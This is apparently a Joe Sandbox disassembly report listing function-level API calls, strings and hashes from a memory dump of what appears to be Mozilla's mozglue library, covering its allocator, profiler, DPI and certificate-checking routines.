Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

wintrust.dll, xrefs: 6C6672CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
(, xrefs: 6C66768A
SHA256, xrefs: 6C666EC0

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C686FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687019
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687061
EnterCriticalSection.KERNEL32(?), ref: 6C6871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C68721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C68723E
EnterCriticalSection.KERNEL32(?), ref: 6C68726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C68733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C68961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C689622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C689642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C68964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896DB
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C689747
GetSystemInfo.KERNEL32(?), ref: 6C689792
__Init_thread_footer.LIBCMT ref: 6C6897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C6897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C689838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C68984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C689874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C689895

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C689B38
: (malloc) Unsupported character in malloc options: ', xrefs: 6C689BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6899A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6899D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C689933, 6C689A33, 6C689A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C689993
MALLOC_OPTIONS, xrefs: 6C6897CA
<jemalloc>, xrefs: 6C689B33, 6C689BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6899BD
MOZ_CRASH(), xrefs: 6C689B42

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction ID: ee36c599fa48198b2c7725134521e9e790b374f81c6c1017c0afef02a68b7765
Opcode Fuzzy Hash: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction Fuzzy Hash: 4153B171A067018FD704CF29C580715FBE1BF8A328F29C66DE8698B7A1D771E841CB99

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C693946
: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
MALLOC_OPTIONS, xrefs: 6C6935FE
<jemalloc>, xrefs: 6C693941, 6C6939F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
MOZ_CRASH(), xrefs: 6C693950

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
SetWindowPos, xrefs: 6C6B56F7
CreateSolidBrush, xrefs: 6C6B57E4
GetWindowDC, xrefs: 6C6B5710
LoadIconW, xrefs: 6C6B575B
GetDpiForWindow, xrefs: 6C6B5690
DeleteObject, xrefs: 6C6B57F9
ShowWindow, xrefs: 6C6B56DE
FillRect, xrefs: 6C6B5729
CreateWindowExW, xrefs: 6C6B56C5
EnableNonClientDpiScaling, xrefs: 6C6B5666
SetWindowLongPtrW, xrefs: 6C6B57B7
GetMonitorInfoW, xrefs: 6C6B57A2
GetSystemMetricsForDpi, xrefs: 6C6B5677
user32, xrefs: 6C6B5601
MonitorFromWindow, xrefs: 6C6B578D
RegisterClassW, xrefs: 6C6B56AC
ReleaseDC, xrefs: 6C6B5742
gdi32, xrefs: 6C6B560A
LoadCursorW, xrefs: 6C6B5774
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
StretchDIBits, xrefs: 6C6B57CC

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C69F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C69F155
GetCurrentThreadId.KERNEL32 ref: 6C69F1E0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F1ED
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F212
GetCurrentThreadId.KERNEL32 ref: 6C69F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F248
GetCurrentThreadId.KERNEL32 ref: 6C69F2AE
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2BB
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2F8

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F350
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F35D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F381
GetCurrentThreadId.KERNEL32 ref: 6C69F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F3A0
GetCurrentThreadId.KERNEL32 ref: 6C69F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F491

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F3CF

Part of subcall function 6C69F070: GetCurrentThreadId.KERNEL32 ref: 6C69F440
Part of subcall function 6C69F070: AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F44D
Part of subcall function 6C69F070: ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F4A8
GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561
GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction ID: 74419fba93a6748ef766794b00d95a34a809e8270ab2221dbc72faede3565aa9
Opcode Fuzzy Hash: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction Fuzzy Hash: 2AD139316042019FDB009F66D8847A977F8EF87369F15462AF95583B81DB70B805CBAF

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

nvd3d9wrap.dll, xrefs: 6C666500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
detoured.dll, xrefs: 6C6664DA
_etoured.dll, xrefs: 6C6664ED
user32.dll, xrefs: 6C666526
nvdxgiwrap.dll, xrefs: 6C666513

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

